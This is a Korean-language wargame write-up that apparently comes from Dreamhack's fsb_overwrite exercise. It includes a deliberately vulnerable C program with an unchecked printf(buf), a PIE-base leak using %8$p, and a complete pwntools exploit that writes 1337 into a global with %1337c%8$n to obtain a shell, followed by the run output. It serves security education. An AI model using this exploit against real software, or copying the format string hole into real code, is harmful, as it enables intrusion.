// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void get_string(char *buf, size_t size) {
ssize_t i = read(0, buf, size);
if (i == -1) {
perror("read");
exit(1);
}
if (i < size) {
if (i > 0 && buf[i - 1] == '\n') i--;
buf[i] = 0;
}
}
int changeme;
int main() {
char buf[0x20];
setbuf(stdout, NULL);
while (1) {
get_string(buf, 0x20);
printf(buf);
puts("");
if (changeme == 1337) {
system("/bin/sh");
}
}
}
printf(buf)
부분에서 포맷 스트링 버그가 발생합니다.
$ checksec fsb_overwrite
[*] '/home/ubuntu/dreamhack/fsb_overwrite'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Canary를 제외한 모든 방어기법이 걸려있습니다.
changeme
변수 값을 조작하려면 주소를 알아야 하는데, PIE 방어기법이 걸려 있어서 주소가 실행할 때 마다 바뀝니다.
그래서 PIE 베이스 주소를 구해줘야 합니다.
get_string
으로 입력을 받을 때 changeme
주소를 스택에 저장하면 %n
으로 changeme
의 값을 조작할 수 있습니다.
1337
바이트 길이 문자열을 출력하고 %n
을 이용하면 changeme
값을 1337
로 설정할 수 있습니다.
printf(buf)
에 break point를 걸고 실행해서 아무값이나 입력해보면
gef➤ r
Starting program: /home/ion/dreamhack/Exploit_Tech_Format_String_Bug/fsb_overwrite
12345678
───────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffde70│+0x0000: "12345678" ← $rsp, $rsi, $rdi
0x007fffffffde78│+0x0008: 0x0000000000000000
0x007fffffffde80│+0x0010: 0x00555555400940 → <__libc_csu_init+0> push r15
0x007fffffffde88│+0x0018: 0x00555555400730 → <_start+0> xor ebp, ebp
0x007fffffffde90│+0x0020: 0x007fffffffdf80 → 0x0000000000000001
0x007fffffffde98│+0x0028: 0xda7c534d927fa600
0x007fffffffdea0│+0x0030: 0x00555555400940 → <__libc_csu_init+0> push r15 ← $rbp
0x007fffffffdea8│+0x0038: 0x007ffff7a03c87 → <__libc_start_main+231> mov edi, eax
─────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x5555554008f9 <main+60> lea rax, [rbp-0x30]
0x5555554008fd <main+64> mov rdi, rax
0x555555400900 <main+67> mov eax, 0x0
→ 0x555555400905 <main+72> call 0x5555554006e0 <printf@plt>
rsp+16
주소에 __libc_csu_init+0
의 주소인 0x00555555400940
가 들어가 있습니다.
이 주소는 코드 영역에 해당하는 주소이기 때문에 0x00555555400940 - symbols(__libc_csu_init)
을 하면 PIE 베이스를 구할 수 있습니다.
이를 위해 먼저 rsp+16
의 값을 릭해야 하는데
[RSP+16]
은 포맷 스트링의 8번째 인자이기 때문에, %8$p
를 이용해서 릭할 수 있습니다
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = process("./fsb_overwrite")
elf = ELF("./fsb_overwrite")
context.arch = "amd64"
# [1] Get Address of changeme
p.sendline("%8$p")
leak = int(p.recvline()[:-1], 16)
code_base = leak - elf.symbols["__libc_csu_init"]
changeme = code_base + elf.symbols["changeme"]
slog("code_base", code_base)
slog("chagneme", changeme)
$ python3 get_changeme.py
[+] Starting local process './fsb_overwrite': pid 574
[*] '/home/ubuntu/dreamhack/fsb_overwrite'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] code_base: 0x7f8b9fe00000
[+] chagneme: 0x7f8ba000101c
[*] Stopped process './fsb_overwrite' (pid 574)
포맷 스트링의 width는 출력의 최소 길이를 지정하고 출력한 문자가 최소 길이보다 작으면 그만큼 패딩 문자를 추가해주기 때문에, %1337c
를 해주면 1337
길이의 문자열을 출력할 수 있습니다.
%1337c
에 %8$n
을 하면 8번째 인자인 rsp+16
에 문자열의 길이인 1337
을 대입하게 됩니다.
그래서 changeme
값이 1337
로 덮어쓰여지게 됩니다.
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = process("./fsb_overwrite")
elf = ELF("./fsb_overwrite")
context.arch = "amd64"
# [1] Get Address of changeme
p.sendline("%8$p")
leak = int(p.recvline()[:-1], 16)
code_base = leak - elf.symbols["__libc_csu_init"]
changeme = code_base + elf.symbols["changeme"]
slog("code_base", code_base)
slog("changeme", changeme)
# [2] Overwrite changeme
payload = "%1337c" # 1337 길이의 문자열
payload += "%8$n" # changeme 주소를 문자열 길이로 덮어씀
payload += "A"*6 # 8의 배수를 맞추기 위한 패딩
payload = payload.encode() + p64(changeme) # 덮어쓸 changeme 주소를 넣음
p.sendline(payload)
p.interactive()
$ python3 get_changeme.py
[+] Starting local process './fsb_overwrite': pid 840
[*] '/home/ubuntu/dreamhack/fsb_overwrite'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] code_base: 0x7f3d2ca00000
[+] changeme: 0x7f3d2cc0101c
[*] Switching to interactive mode
PAAAAAA\x1c\xc0,=\x7f
$